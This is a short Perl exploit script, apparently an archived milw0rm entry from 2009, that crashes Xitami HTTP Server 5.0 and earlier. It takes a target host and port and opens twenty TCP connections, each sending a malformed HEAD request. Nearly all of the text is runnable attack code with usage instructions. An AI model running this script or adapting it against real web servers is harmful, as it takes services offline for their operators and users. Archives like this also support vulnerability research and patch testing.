Xitami Web Server <= 5.0 - Remote Denial of Service Exploit

#!/usr/bin/perl # # Xitami HTTP Server &#60;= v5.0 Remote Denial of Service. # # ------------------------------------------------------------------------------ # The vulnerability is caused due to an error with HEAD request and multi-socket # This can be exploited to crash the HTTP service. # ------------------------------------------------------------------------------ # # Author: Jonathan Salwan # Mail: submit [AT] shell-storm.org # Web: http://www.shell-storm.org use IO::Socket; print &#34;[+] Author : Jonathan Salwan\n&#34;; print &#34;[+] Soft : Xitami HTTP Server v5.0\n&#34;; if (@ARGV &#60; 1) { print &#34;[-] Usage: &#60;file.pl&#62; &#60;host&#62; &#60;port&#62;\n&#34;; print &#34;[-] Exemple: file.pl 127.0.0.1 80\n&#34;; exit; } $ip = $ARGV[0]; $port = $ARGV[1]; print &#34;[+] Sending request...\n&#34;; for($i=0;$i&#60;20;$i++) { $socket = IO::Socket::INET-&#62;new( Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; &#34;$ip&#34;, PeerPort =&#62; &#34;$port&#34;) || die &#34;[-] Failed\n&#34;; print $socket &#34;HEAD /% HTTP/1.0\r\n\r\n&#34;; } print &#34;[+] Done!\n&#34;; # milw0rm.com [2009-04-22]